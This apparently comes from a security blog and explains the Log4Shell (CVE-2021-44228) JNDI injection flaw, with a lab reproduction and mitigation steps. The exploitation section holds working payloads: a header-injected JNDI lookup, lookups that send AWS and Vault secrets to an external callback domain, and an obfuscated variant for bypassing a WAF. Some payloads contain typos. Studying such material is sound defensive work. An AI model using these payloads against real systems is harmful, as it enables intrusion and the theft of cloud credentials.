Apache Log4j RCE 0day: CVE-2021-44228
by Quang Vo
Reference:
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
Introduction Apache Log4j and Description of the vulnerability
Apache Log4j is one of the most popular logging library, widely used in Java web applications and Apache products ( such as Apeche Struts, Apache Solr, … ).
Because of the nature of the library is logging, the data being logged originates from user inputs. If the user input contains some special characters and logged by Log4j
, the Java method lookup
will be called to execute a user-defined remote class in the LDAP server.
This will eventually becomes RCE ( depends on environment configrations )
JDK versions greater than 6u211
, 7u201
, 8u191
, and 11.0.1
are not affected by the RMI attack vector. But LDAP attack vector can works with all versions of JAva due to deserialzation attack, the LDAP server will return a serialized object which will eventually get deserialized on victim’s server. Remote Code Execution ( RCE ) depends on gadget availability in the Java classpath.
Affected version
Apache Log4j 2.x <= 2.15.0-rc1
Affected Software
There have been reports said that Steam, Apple and Twitter vulnerable to this attack, and other softwares like:
- Apache Struts
- Apache Solr
- Elasticsearch
- Ghidra
…
Exploitation
1. Reproduce with vulnerable app
Link to the vulnerable app that use log4j
: https://github.com/christophetd/log4shell-vulnerable-app
Start the app:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Example of vulnerable code:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
Setup malicious JDNI server
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/pwned" -A "0.0.0.0"
Sending payload to the vulnerable web app:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<ip>:1389/<payload>}'
Response from malicious JDNI server:
Log from the vulnerable app:
2021-12-12 15:29:32.630 INFO 1 --- [nio-8080-exec-5] HelloWorld : Received a request for API version Reference Class Name: foo
2. Exploit steps
- Data from user inputs get logged from the back-end that using
log4j
- User send malicious payload that get logged in server:
${jdni:ldap://<attacker_ip>/a
- The Log4j vulnerablity triggered by this payload and server makes a request to
<attacker_ip>
server via JDNI - The attacker’s server response a path to a remote Java class file (
https://attack-server/Exploit.class
) which injected to victim’s server process - The Injected payload got triggered, allows an attacker to gain remote code execution.
3. Extract environment from vulnerable server
${jndi:ldap://${env:USER}.collabolatorendpoint.net/a}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.collabolatorendpoint.net/a}
${jndi:ldap://${env:VAULT_KEY}.collabolatorendpoint.net/a}
...
4. Bypass WAF ( Cloudflare, … )
${${lower:j}ndi:${lower:l}dap://${env:USER}.collabolatorendpoint.net/a}
Mitigation
- Update to log4j version
2.15.0-rc2
- Block all untrusted outbound traffic
- Add “log4j.format.msg.nolookups=true” global configuration